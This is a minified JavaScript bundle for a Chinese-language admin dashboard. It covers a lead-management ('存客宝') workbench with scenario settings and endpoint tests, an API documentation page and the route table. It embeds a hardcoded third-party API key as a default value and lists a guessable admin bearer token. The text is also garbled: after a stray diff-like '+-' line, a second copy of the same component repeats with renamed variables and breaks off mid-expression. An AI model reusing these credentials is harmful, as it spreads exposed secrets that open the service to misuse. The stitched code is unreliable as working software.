cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("test"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"AI 添加进度"}),s.jsx("p",{className:"text-xl font-bold text-orange-400",children:"查看详情 →"}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:"添加成功率 · 回复率 · API 文档"})]})})]}),(i==null?void 0:i.byType)&&i.byType.length>0&&s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-3 mb-6",children:i.byType.map(m=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-lg p-4 flex items-center gap-3",children:[s.jsx("span",{className:"text-xl",children:Aw[m.matchType]||"📋"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-xs",children:Mw[m.matchType]||m.matchType}),s.jsx("p",{className:"text-xl font-bold text-white",children:m.total})]})]},m.matchType))})]})]})}const FV=["partner","investor","mentor","team"],wg=[{key:"join_partner",label:"找伙伴场景"},{key:"join_investor",label:"资源对接场景"},{key:"join_mentor",label:"导师顾问场景"},{key:"join_team",label:"团队招募场景"},{key:"match",label:"匹配上报"},{key:"lead",label:"链接卡若"}],Iw=`# 场景获客接口摘要 - 地址:POST /v1/api/scenarios - 必填:apiKey、sign、timestamp - 主标识:phone 或 wechatId 至少一项 - 可选:name、source、remark、tags、siteTags、portrait - 签名:排除 sign/apiKey/portrait,键名升序拼接值后双重 MD5 -- 成功:code=200,message=新增成功 或 已存在`;function BV({initialTab:t="overview"}){const[e,n]=b.useState(t),[r,a]=b.useState("13800000000"),[i,o]=b.useState(""),[c,u]=b.useState(""),[h,f]=b.useState(Iw),[m,g]=b.useState(!1),[y,N]=b.useState(!1),[w,v]=b.useState([]),[k,C]=b.useState([]),[E,T]=b.useState({}),[I,O]=b.useState([{endpoint:"/api/ckb/join",label:"找伙伴",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"资源对接",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"导师顾问",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"团队招募",method:"POST",status:"idle"},{endpoint:"/api/ckb/match",label:"匹配上报",method:"POST",status:"idle"},{endpoint:"/api/miniprogram/ckb/lead",label:"链接卡若",method:"POST",status:"idle"},{endpoint:"/api/match/config",label:"匹配配置",method:"GET",status:"idle"}]),L=b.useMemo(()=>{const $={};return wg.forEach(H=>{$[H.key]=E[H.key]||{apiUrl:"https://ckbapi.quwanzhi.com/v1/api/scenarios",apiKey:"fyngh-ecy9h-qkdae-epwd5-rz6kd",source:"",tags:"",siteTags:"创业实验APP",notes:""}}),$},[E]),R=$=>{const H=r.trim(),oe=i.trim();return $<=3?{type:FV[$],phone:H||void 0,wechat:oe||void 0,userId:"admin_test",name:"后台测试"}:$===4?{matchType:"partner",phone:H||void 0,wechat:oe||void 0,userId:"admin_test",nickname:"后台测试",matchedUser:{id:"test",nickname:"测试",matchScore:88}}:$===5?{phone:H||void 0,wechatId:oe||void 0,userId:"admin_test",name:"后台测试"}:{}};async function D(){N(!0);try{const[$,H,oe]=await Promise.all([De("/api/db/config/full?key=ckb_config"),De("/api/db/ckb-leads?mode=submitted&page=1&pageSize=50"),De("/api/db/ckb-leads?mode=contact&page=1&pageSize=50")]),P=$==null?void 0:$.data;P!=null&&P.routes&&T(P.routes),P!=null&&P.docNotes&&u(P.docNotes),P!=null&&P.docContent&&f(P.docContent),H!=null&&H.success&&v(H.records||[]),oe!=null&&oe.success&&C(oe.records||[])}finally{N(!1)}}b.useEffect(()=>{n(t)},[t]),b.useEffect(()=>{D()},[]);async function _(){g(!0);try{const $=await vt("/api/db/config",{key:"ckb_config",value:{routes:L,docNotes:c,docContent:h},description:"存客宝接口配置"});ie.error(($==null?void 0:$.success)!==!1?"存客宝配置已保存":`保存失败: ${($==null?void 0:$.error)||"未知错误"}`)}catch($){ie.error(`保存失败: ${$ instanceof Error?$.message:"网络错误"}`)}finally{g(!1)}}const Z=($,H)=>{T(oe=>({...oe,[$]:{...L[$],...H}}))},ne=async $=>{const H=I[$];if(H.method==="POST"&&!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}const oe=[...I];oe[$]={...H,status:"testing",message:void 0,responseTime:void 0},O(oe);const P=performance.now();try{const K=H.method==="GET"?await De(H.endpoint):await vt(H.endpoint,R($)),V=Math.round(performance.now()-P),z=(K==null?void 0:K.message)||"",U=(K==null?void 0:K.success)===!0||z.includes("已存在")||z.includes("已加入")||z.includes("已提交"),le=[...I];le[$]={...H,status:U?"success":"error",message:z||(U?"正常":"异常"),responseTime:V},O(le),await D()}catch(K){const V=Math.round(performance.now()-P),z=[...I];z[$]={...H,status:"error",message:K instanceof Error?K.message:"失败",responseTime:V},O(z)}},fe=async()=>{if(!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}for(let $=0;$s.jsx("div",{className:"overflow-auto rounded-lg border border-gray-700/30",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{className:"bg-[#0a1628] text-gray-400",children:s.jsxs("tr",{children:[s.jsx("th",{className:"text-left px-4 py-3",children:"发起人"}),s.jsx("th",{className:"text-left px-4 py-3",children:"类型"}),s.jsx("th",{className:"text-left px-4 py-3",children:"手机号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"微信号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"时间"})]})}),s.jsx("tbody",{children:$.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:5,className:"text-center py-10 text-gray-500",children:H})}):$.map(oe=>s.jsxs("tr",{className:"border-t border-gray-700/30",children:[s.jsx("td",{className:"px-4 py-3 text-white",children:oe.userNickname||oe.userId}),s.jsx("td",{className:"px-4 py-3 text-gray-300",children:oe.matchType}),s.jsx("td",{className:"px-4 py-3 text-green-400",children:oe.phone||"—"}),s.jsx("td",{className:"px-4 py-3 text-blue-400",children:oe.wechatId||"—"}),s.jsx("td",{className:"px-4 py-3 text-gray-400",children:oe.createdAt?new Date(oe.createdAt).toLocaleString():"—"})]},oe.id))})]})});return s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/30 mb-6",children:s.jsxs(Ee,{className:"p-5",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h3",{className:"text-white font-semibold",children:"存客宝工作台"}),s.jsx(qe,{className:"bg-orange-500/20 text-orange-400 border-0 text-xs",children:"CKB"}),s.jsxs("button",{type:"button",onClick:()=>n("doc"),className:"text-orange-400/60 text-xs hover:text-orange-400 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," API 文档"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{onClick:()=>D(),variant:"outline",size:"sm",className:"border-gray-700 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-3.5 h-3.5 mr-1 ${y?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:_,disabled:m,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-3.5 h-3.5 mr-1"})," ",m?"保存中...":"保存配置"]})]})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mb-5",children:[["overview","概览"],["submitted","已提交线索"],["contact","有联系方式"],["config","场景配置"],["test","接口测试"],["doc","API 文档"]].map(([$,H])=>s.jsx("button",{type:"button",onClick:()=>n($),className:`px-4 py-2 rounded-lg text-sm transition-colors ${e===$?"bg-orange-500 text-white":"bg-[#0a1628] text-gray-400 hover:text-white"}`,children:H},$))}),e==="overview"&&s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:w.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:k.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"场景配置数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:wg.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"文档备注"}),s.jsx("p",{className:"text-sm text-gray-300 line-clamp-3",children:c||"未填写"})]})]}),e==="submitted"&&xe(w,"暂无已提交线索"),e==="contact"&&xe(k,"暂无有联系方式线索"),e==="config"&&s.jsx("div",{className:"space-y-4",children:wg.map($=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white font-medium",children:$.label}),s.jsx(qe,{className:"bg-orange-500/20 text-orange-300 border-0 text-xs",children:$.key})]}),s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API 地址"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiUrl,onChange:H=>Z($.key,{apiUrl:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API Key"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiKey,onChange:H=>Z($.key,{apiKey:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Source"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].source,onChange:H=>Z($.key,{source:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Tags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].tags,onChange:H=>Z($.key,{tags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"SiteTags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].siteTags,onChange:H=>Z($.key,{siteTags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"说明备注"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].notes,onChange:H=>Z($.key,{notes:H.target.value})})]})]})]},$.key))}),e==="test"&&s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"flex gap-3 mb-4",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx(yi,{className:"w-4 h-4 text-gray-500 shrink-0"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"测试手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:r,onChange:$=>a($.target.value)})]})]}),s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"💬"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"微信号(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:i,onChange:$=>o($.target.value)})]})]}),s.jsx("div",{className:"flex items-end",children:s.jsxs(te,{onClick:fe,className:"bg-orange-500 hover:bg-orange-600 text-white",children:[s.jsx(li,{className:"w-3.5 h-3.5 mr-1"})," 全部测试"]})})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-2",children:I.map(($,H)=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg px-3 py-2 border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0",children:[$.status==="idle"&&s.jsx("div",{className:"w-2 h-2 rounded-full bg-gray-600 shrink-0"}),$.status==="testing"&&s.jsx(Ke,{className:"w-3 h-3 text-yellow-400 animate-spin shrink-0"}),$.status==="success"&&s.jsx(Mg,{className:"w-3 h-3 text-green-400 shrink-0"}),$.status==="error"&&s.jsx(Jw,{className:"w-3 h-3 text-red-400 shrink-0"}),s.jsx("span",{className:"text-white text-xs truncate",children:$.label})]}),s.jsxs("div",{className:"flex items-center gap-1.5 shrink-0",children:[$.responseTime!==void 0&&s.jsxs("span",{className:"text-gray-600 text-[10px]",children:[$.responseTime,"ms"]}),s.jsx("button",{type:"button",onClick:()=>ne(H),disabled:$.status==="testing",className:"text-orange-400/60 hover:text-orange-400 text-[10px] disabled:opacity-50",children:"测试"})]})]},`${$.endpoint}-${H}`))})]}),e==="doc"&&s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white text-sm font-medium",children:"场景获客 API 摘要"}),s.jsxs("a",{href:"https://ckbapi.quwanzhi.com/v1/api/scenarios",target:"_blank",rel:"noreferrer",className:"text-orange-400/70 hover:text-orange-400 text-xs flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 打开外链"]})]}),s.jsx("pre",{className:"whitespace-pre-wrap text-xs text-gray-400 leading-6",children:h||Iw})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsx("h4",{className:"text-white text-sm font-medium mb-3",children:"说明备注(可编辑)"}),s.jsx("textarea",{className:"w-full min-h-[260px] bg-[#0f2137] border border-gray-700 rounded-md text-sm text-gray-300 p-3 outline-none focus:border-orange-500/50 resize-y",value:c,onChange:$=>u($.target.value),placeholder:"记录 Token、入口差异、回复率统计规则、对接约定等。"})]})]})]})})}const VV=[{id:"stats",label:"数据统计",icon:Tg},{id:"partner",label:"找伙伴",icon:Zn},{id:"resource",label:"资源对接",icon:EM},{id:"mentor",label:"导师预约",icon:kM},{id:"team",label:"团队招募",icon:Lg}];function HV(){const[t,e]=b.useState("stats"),[n,r]=b.useState(!1),[a,i]=b.useState("overview");return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"mb-6 flex items-start justify-between gap-4",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-6 h-6 text-[#38bdac]"}),"找伙伴"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"数据统计、匹配池与记录、资源对接、导师预约、团队招募"})]}),s.jsxs(te,{type:"button",variant:"outline",onClick:()=>r(o=>!o),className:"border-orange-500/40 text-orange-300 hover:bg-orange-500/10 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"存客宝"]})]}),n&&s.jsx(BV,{initialTab:a}),s.jsx("div",{className:"flex flex-wrap gap-1 mb-6 bg-[#0f2137] rounded-lg p-1 border border-gray-700/50",children:VV.map(o=>{const c=t===o.id;return s.jsxs("button",{type:"button",onClick:()=>e(o.id),className:`flex items-center gap-2 px-5 py-2.5 rounded-md text-sm font-medium transition-all ${c?"bg-[#38bdac] text-white shadow-lg":"text-gray-400 hover:text-white hover:bg-gray-700/50"}`,children:[s.jsx(o.icon,{className:"w-4 h-4"}),o.label]},o.id)})}),t==="stats"&&s.jsx($V,{onSwitchTab:o=>e(o),onOpenCKB:o=>{i(o||"overview"),r(!0)}}),t==="partner"&&s.jsx(PV,{}),t==="resource"&&s.jsx(OV,{}),t==="mentor"&&s.jsx(_V,{}),t==="team"&&s.jsx(zV,{})]})}function WV(){return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-8",children:[s.jsx(Ss,{className:"w-8 h-8 text-[#38bdac]"}),s.jsx("h1",{className:"text-2xl font-bold text-white",children:"API 接口文档"})]}),s.jsx("p",{className:"text-gray-400 mb-6",children:"API 风格:RESTful · 版本 v1.0 · 基础路径 /api · 简单、清晰、易用。"}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"1. 接口总览"})}),s.jsxs(Ee,{className:"space-y-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"接口分类"}),s.jsxs("ul",{className:"space-y-1 text-gray-300 font-mono",children:[s.jsx("li",{children:"/api/book — 书籍内容(章节列表、内容获取、同步)"}),s.jsx("li",{children:"/api/payment — 支付系统(订单创建、回调、状态查询)"}),s.jsx("li",{children:"/api/referral — 分销系统(邀请码、收益、提现)"}),s.jsx("li",{children:"/api/user — 用户系统(登录、注册、信息更新)"}),s.jsx("li",{children:"/api/match — 匹配系统(寻找匹配、匹配历史)"}),s.jsx("li",{children:"/api/admin — 管理后台(内容/订单/用户/分销管理)"}),s.jsx("li",{children:"/api/config — 配置系统"})]})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"认证方式"}),s.jsx("p",{className:"text-gray-300",children:"用户:Cookie session_id(可选)"}),s.jsx("p",{className:"text-gray-300",children:"管理端:Authorization: Bearer admin-token-secret"})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"2. 书籍内容"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET /api/book/all-chapters — 获取所有章节"}),s.jsx("p",{children:"GET /api/book/chapter/:id — 获取单章内容"}),s.jsx("p",{children:"POST /api/book/sync — 同步章节(需管理员认证)"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"3. 支付"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"POST /api/payment/create-order — 创建订单"}),s.jsx("p",{children:"POST /api/payment/alipay/notify — 支付宝回调"}),s.jsx("p",{children:"POST /api/payment/wechat/notify — 微信回调"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"4. 分销与用户"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"/api/referral/* — 邀请码、收益查询、提现"}),s.jsx("p",{children:"/api/user/* — 登录、注册、信息更新"}),s.jsx("p",{children:"/api/match/* — 匹配、匹配历史"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"5. 管理后台"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET/POST /api/admin/referral-settings — 推广/分销设置(含 VIP 配置)"}),s.jsx("p",{children:"GET /api/db/users、/api/db/book — 用户与章节数据"}),s.jsx("p",{children:"GET /api/admin/orders — 订单列表"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"完整说明见项目内 开发文档/5、接口/API接口完整文档.md"})]})}function UV(){const t=Si();return s.jsx("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-8",children:s.jsxs("div",{className:"text-center max-w-md",children:[s.jsx("div",{className:"inline-flex items-center justify-center w-20 h-20 rounded-full bg-red-500/20 text-red-400 mb-6",children:s.jsx(qw,{className:"w-10 h-10"})}),s.jsx("h1",{className:"text-4xl font-bold text-white mb-2",children:"404"}),s.jsx("p",{className:"text-gray-400 mb-1",children:"页面不存在"}),s.jsx("p",{className:"text-sm text-gray-500 font-mono mb-8 break-all",children:t.pathname}),s.jsx(te,{asChild:!0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:s.jsxs(Eg,{to:"/",children:[s.jsx(LM,{className:"w-4 h-4 mr-2"}),"返回首页"]})})]})})}function KV(){return s.jsxs(wT,{children:[s.jsx(Ht,{path:"/login",element:s.jsx(nI,{})}),s.jsxs(Ht,{path:"/",element:s.jsx(a5,{}),children:[s.jsx(Ht,{index:!0,element:s.jsx(Cm,{to:"/dashboard",replace:!0})}),s.jsx(Ht,{path:"dashboard",element:s.jsx(hP,{})}),s.jsx(Ht,{path:"orders",element:s.jsx(fP,{})}),s.jsx(Ht,{path:"users",element:s.jsx(pP,{})}),s.jsx(Ht,{path:"distribution",element:s.jsx(LP,{})}),s.jsx(Ht,{path:"withdrawals",element:s.jsx(_P,{})}),s.jsx(Ht,{path:"content",element:s.jsx(dV,{})}),s.jsx(Ht,{path:"referral-settings",element:s.jsx(zk,{})}),s.jsx(Ht,{path:"author-settings",element:s.jsx(Cm,{to:"/settings?tab=author",replace:!0})}),s.jsx(Ht,{path:"vip-roles",element:s.jsx(TV,{})}),s.jsx(Ht,{path:"mentors",element:s.jsx(B4,{})}),s.jsx(Ht,{path:"mentor-consultations",element:s.jsx(MV,{})}),s.jsx(Ht,{path:"admin-users",element:s.jsx(Cm,{to:"/settings?tab=admin",replace:!0})}),s.jsx(Ht,{path:"settings",element:s.jsx(yV,{})}),s.jsx(Ht,{path:"payment",element:s.jsx(bV,{})}),s.jsx(Ht,{path:"site",element:s.jsx(jV,{})}),s.jsx(Ht,{path:"qrcodes",element:s.jsx(kV,{})}),s.jsx(Ht,{path:"find-partner",element:s.jsx(HV,{})}),s.jsx(Ht,{path:"match",element:s.jsx(CV,{})}),s.jsx(Ht,{path:"match-records",element:s.jsx(EV,{})}),s.jsx(Ht,{path:"api-doc",element:s.jsx(WV,{})}),s.jsx(Ht,{path:"api-docs",element:s.jsx(F4,{})})]}),s.jsx(Ht,{path:"*",element:s.jsx(UV,{})})]})}EE.createRoot(document.getElementById("root")).render(s.jsx(b.StrictMode,{children:s.jsx(AT,{future:{v7_startTransition:!0,v7_relativeSplatPath:!0},children:s.jsx(KV,{})})})); +- 成功:code=200,message=新增成功 或 已存在`;function BV({initialTab:t="overview"}){const[e,n]=b.useState(t),[r,a]=b.useState("13800000000"),[i,o]=b.useState(""),[c,u]=b.useState(""),[h,f]=b.useState(Iw),[m,g]=b.useState(!1),[y,N]=b.useState(!1),[w,v]=b.useState([]),[k,C]=b.useState([]),[E,T]=b.useState({}),[I,O]=b.useState([{endpoint:"/api/ckb/join",label:"找伙伴",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"资源对接",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"导师顾问",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"团队招募",method:"POST",status:"idle"},{endpoint:"/api/ckb/match",label:"匹配上报",method:"POST",status:"idle"},{endpoint:"/api/miniprogram/ckb/lead",label:"链接卡若",method:"POST",status:"idle"},{endpoint:"/api/match/config",label:"匹配配置",method:"GET",status:"idle"}]),L=b.useMemo(()=>{const $={};return wg.forEach(H=>{$[H.key]=E[H.key]||{apiUrl:"https://ckbapi.quwanzhi.com/v1/api/scenarios",apiKey:"fyngh-ecy9h-qkdae-epwd5-rz6kd",source:"",tags:"",siteTags:"创业实验APP",notes:""}}),$},[E]),R=$=>{const H=r.trim(),oe=i.trim();return $<=3?{type:FV[$],phone:H||void 0,wechat:oe||void 0,userId:"admin_test",name:"后台测试"}:$===4?{matchType:"partner",phone:H||void 0,wechat:oe||void 0,userId:"admin_test",nickname:"后台测试",matchedUser:{id:"test",nickname:"测试",matchScore:88}}:$===5?{phone:H||void 0,wechatId:oe||void 0,userId:"admin_test",name:"后台测试"}:{}};async function D(){N(!0);try{const[$,H,oe]=await Promise.all([De("/api/db/config/full?key=ckb_config"),De("/api/db/ckb-leads?mode=submitted&page=1&pageSize=50"),De("/api/db/ckb-leads?mode=contact&page=1&pageSize=50")]),P=$==null?void 0:$.data;P!=null&&P.routes&&T(P.routes),P!=null&&P.docNotes&&u(P.docNotes),P!=null&&P.docContent&&f(P.docContent),H!=null&&H.success&&v(H.records||[]),oe!=null&&oe.success&&C(oe.records||[])}finally{N(!1)}}b.useEffect(()=>{n(t)},[t]),b.useEffect(()=>{D()},[]);async function z(){g(!0);try{const $=await vt("/api/db/config",{key:"ckb_config",value:{routes:L,docNotes:c,docContent:h},description:"存客宝接口配置"});ie.error(($==null?void 0:$.success)!==!1?"存客宝配置已保存":`保存失败: ${($==null?void 0:$.error)||"未知错误"}`)}catch($){ie.error(`保存失败: ${$ instanceof Error?$.message:"网络错误"}`)}finally{g(!1)}}const Z=($,H)=>{T(oe=>({...oe,[$]:{...L[$],...H}}))},ne=async $=>{const H=I[$];if(H.method==="POST"&&!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}const oe=[...I];oe[$]={...H,status:"testing",message:void 0,responseTime:void 0},O(oe);const P=performance.now();try{const q=H.method==="GET"?await De(H.endpoint):await vt(H.endpoint,R($)),B=Math.round(performance.now()-P),_=(q==null?void 0:q.message)||"",W=(q==null?void 0:q.success)===!0||_.includes("已存在")||_.includes("已加入")||_.includes("已提交"),le=[...I];le[$]={...H,status:W?"success":"error",message:_||(W?"正常":"异常"),responseTime:B},O(le),await D()}catch(q){const B=Math.round(performance.now()-P),_=[...I];_[$]={...H,status:"error",message:q instanceof Error?q.message:"失败",responseTime:B},O(_)}},fe=async()=>{if(!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}for(let $=0;$s.jsx("div",{className:"overflow-auto rounded-lg border border-gray-700/30",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{className:"bg-[#0a1628] text-gray-400",children:s.jsxs("tr",{children:[s.jsx("th",{className:"text-left px-4 py-3",children:"发起人"}),s.jsx("th",{className:"text-left px-4 py-3",children:"类型"}),s.jsx("th",{className:"text-left px-4 py-3",children:"手机号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"微信号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"时间"})]})}),s.jsx("tbody",{children:$.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:5,className:"text-center py-10 text-gray-500",children:H})}):$.map(oe=>s.jsxs("tr",{className:"border-t border-gray-700/30",children:[s.jsx("td",{className:"px-4 py-3 text-white",children:oe.userNickname||oe.userId}),s.jsx("td",{className:"px-4 py-3 text-gray-300",children:oe.matchType}),s.jsx("td",{className:"px-4 py-3 text-green-400",children:oe.phone||"—"}),s.jsx("td",{className:"px-4 py-3 text-blue-400",children:oe.wechatId||"—"}),s.jsx("td",{className:"px-4 py-3 text-gray-400",children:oe.createdAt?new Date(oe.createdAt).toLocaleString():"—"})]},oe.id))})]})});return s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/30 mb-6",children:s.jsxs(Ee,{className:"p-5",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h3",{className:"text-white font-semibold",children:"存客宝工作台"}),s.jsx(We,{className:"bg-orange-500/20 text-orange-400 border-0 text-xs",children:"CKB"}),s.jsxs("button",{type:"button",onClick:()=>n("doc"),className:"text-orange-400/60 text-xs hover:text-orange-400 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," API 文档"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{onClick:()=>D(),variant:"outline",size:"sm",className:"border-gray-700 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-3.5 h-3.5 mr-1 ${y?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:z,disabled:m,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-3.5 h-3.5 mr-1"})," ",m?"保存中...":"保存配置"]})]})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mb-5",children:[["overview","概览"],["submitted","已提交线索"],["contact","有联系方式"],["config","场景配置"],["test","接口测试"],["doc","API 文档"]].map(([$,H])=>s.jsx("button",{type:"button",onClick:()=>n($),className:`px-4 py-2 rounded-lg text-sm transition-colors ${e===$?"bg-orange-500 text-white":"bg-[#0a1628] text-gray-400 hover:text-white"}`,children:H},$))}),e==="overview"&&s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:w.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:k.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"场景配置数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:wg.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"文档备注"}),s.jsx("p",{className:"text-sm text-gray-300 